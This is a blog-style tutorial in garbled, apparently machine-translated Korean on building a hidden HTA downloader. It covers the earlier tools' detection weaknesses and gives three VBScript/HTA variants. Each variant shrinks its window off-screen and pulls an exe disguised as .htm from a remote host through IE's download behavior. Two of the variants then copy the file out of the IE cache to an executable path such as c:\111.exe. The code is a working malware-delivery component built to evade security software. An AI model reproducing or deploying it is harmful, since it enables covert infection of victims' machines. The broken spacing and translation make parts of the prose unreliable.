어 려 운 hta 다운로드 자가 되 기

첫째,이 블 로그 에는 비교적 새로운 vbs 다운로드 자가 두 개 있 습 니 다.하 나 는 CDO.Message 구성 요 소 를 이용 하여 만 든 것 이 고 다른 하 나 는 Microsoft.XMLDOM 으로 만 든 것 입 니 다.참조https://www.jb51.net/article/15506.htm.이 두 다운로드 자 중 하 나 는 이용 하기 가 비교적 번 거 로 우 므 로 사전에 exe 를 전환 시 켜 야 한다.두 번 째 사용 중 cscript.exe 는 네트워크 에 접근 하여 은폐 되 지 않 습 니 다.두 번 째 는 어떤 기계 에 이 두 가지 구성 요소 가 존재 하지 않 고 ADODB.Stream 에 이 용 된 것 이기 때문에 단점 이 있다.2.다시 lake 2 의 다운로드 자 를 말씀 드 리 겠 습 니 다.http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx。이 다운로드 자 는 괜 찮 은 편 이지 만 문제 도 있다.하 나 는 360 등 다른 브 라 우 저 를 설치 하면 ie 창 을 열 고 레 지 스 트 에서 읽 은 ie 캐 시 위치 가 정확 하지 않 습 니 다.3.그러면 우 리 는 어떻게 이런 결함 들 을 갱신 합 니까?방법 이 있어.우리 가 hta 로 쓰 면 이것 은 비교적 보기 드물다.hh.exe 가 네트워크 를 방문 하면 일반적으로 방 행 될 것 이다.이 다운로드 자가 해결 해 야 할 어려움 은 몇 가지 가 있 습 니까?두 가지 항목 에서 말 하 는 모든 구성 요소------이것 은 우리 가 i 의 기본 행동(4).ie 캐 시 를 이용 한 임시 위치---내 가 사용 하 는 환경 변수(5)우 리 는 그 어떠한 구성 요소 도 호출 하지 않 는 다-------------------------------수 동 4,코드(hta 에 직접 매개 변 수 를 쓴다)

 
<script language=vbs> 
window.moveTo 4000,4000 
window.resizeTo 0,0 ' hta    
set objshell= Createobject("WScript.Shell")'hta       WScript.Shell ，      wscript.Createobject("WScript.Shell") 
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" '              
set xml=document.createElement("xml")'  xml    ie      
xml.addBehavior("#default#DownLoad") 
xml.async=0 
xml.load("http://192.168.0.10/xx.htm")'  exe       ， ftp      ，    ，       
ShowAllFile(downpath) 
Sub ShowAllFile(Path) '    ，   lake2    
FindFileName="xx[1].htm" '         ，     xx.htm，    xx[1].htm 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set f = FSO.GetFolder(Path) 
Set fc = f.SubFolders 
For Each f1 in fc 
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then 
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, "c:\111.exe" '   c:\111.exe，        
'document.write "[+]Download Success !" 
End If 
ShowAllFile path&"\"&f1.name 
Next 
Set FSO = Nothing 

End Sub 
window.close 
</script> 

의 용법 은 exe 를 xx.exe 와 같이 공간 에 이름 을 바 꾸 는 것 이다.그리고 명령 을 내리 거나 이 hta 를 더 블 클릭 하면 됩 니 다.5.다른 코드(명령 행 매개 변수)는 개인 적 으로 네 번 째 부분의 코드 가 비교적 좋다 고 생각 합 니 다.수정 해서 사용 하면 됩 니 다.명령 행 인 자 를 호출 하면 hta 작은 창 이 나타 나 고 다운로드 가 끝 난 후에 닫 히 기 때문에 좋 지 않 습 니 다.코드:

 
<HTA:APPLICATION 
ID="MySampleHTA" 
Caption="yes"> 
<script language=vbs> 
on error resume Next 
window.moveTo 4000,4000 
window.resizeTo 0,0 ' hta    
cmdLineArray = Split(MySampleHTA.commandLine)'              
set objshell= Createobject("WScript.Shell") 
downpath=objshell.ExpandEnvironmentStrings("%USERPROFILE%")&"\Local Settings" '              
temp=LastOne(cmdLineArray(UBound(cmdLineArray)),"/") '            
temp=split(temp,".")'  .   
FindFileName=temp(0)&"[1]."&temp(1) 
LocalName=objshell.CurrentDirectory&"\"&temp(0)&".exe" 
set xml=document.createElement("xml") 
xml.addBehavior("#default#DownLoad") 
xml.async=0 
xml.load(cmdLineArray(UBound(cmdLineArray))) 

ShowAllFile(downpath) 
Sub ShowAllFile(Path) 
Set FSO = CreateObject("Scripting.FileSystemObject") 
Set f = FSO.GetFolder(Path) 
Set fc = f.SubFolders 
For Each f1 in fc 
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then 
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName 
'document.write "[+]Download Success !" 
End If 
ShowAllFile path&"\"&f1.name 
Next 
Set FSO = Nothing 

End Sub 
Function LastOne(Str,splitStr) 
'        ，        
LastOne = right(Str,len(Str)-InStrRev(Str,splitStr)) 
End Function 
window.close 
</script> 

용법 은 exe 를 xx.exe 와 같이 xx.htm 로 이름 을 바 꾸 고 명령 행 아래 는'c:\xx.hta'와 같다.http://www.target.com/xx.htm"이렇게 하면 xx.exe 는 c:6 에 저 장 됩 니 다.어떠한 구성 요소 도 호출 하지 않 습 니 다(다운로드 한 xx[1].htm 를 수 동 으로 찾 아야 합 니 다):

 
window.moveTo 4000,4000 
window.resizeTo 0,0 ' hta    
set xml=document.createElement("xml")'  xml    ie      
xml.addBehavior("#default#DownLoad") 
xml.async=0 
xml.load("http://192.168.0.10/xx.htm")' 
window.close 

7.저 는 hta 다운로드 자가 완벽 하지 않 은 것 이 단점 입 니 다."첫째,다운로드 한 임시 변 수 는 ExpandEnvironment Strings("%USERPROFILE%")를 사 용 했 기 때문에 사용자 환경 에서 사용 할 수 있 습 니 다.system 권한 이 있 으 면 정상 이 아 닐 수도 있 습 니 다.두 번 째 는 다운로드 에 성공 한 후에 힌트 가 없 기 때문에 hta 로 명령 행 에서 회 현 을 보 여 주 는 것 이 귀 찮 기 때문에 저 는 하지 않 았 습 니 다.헤헤.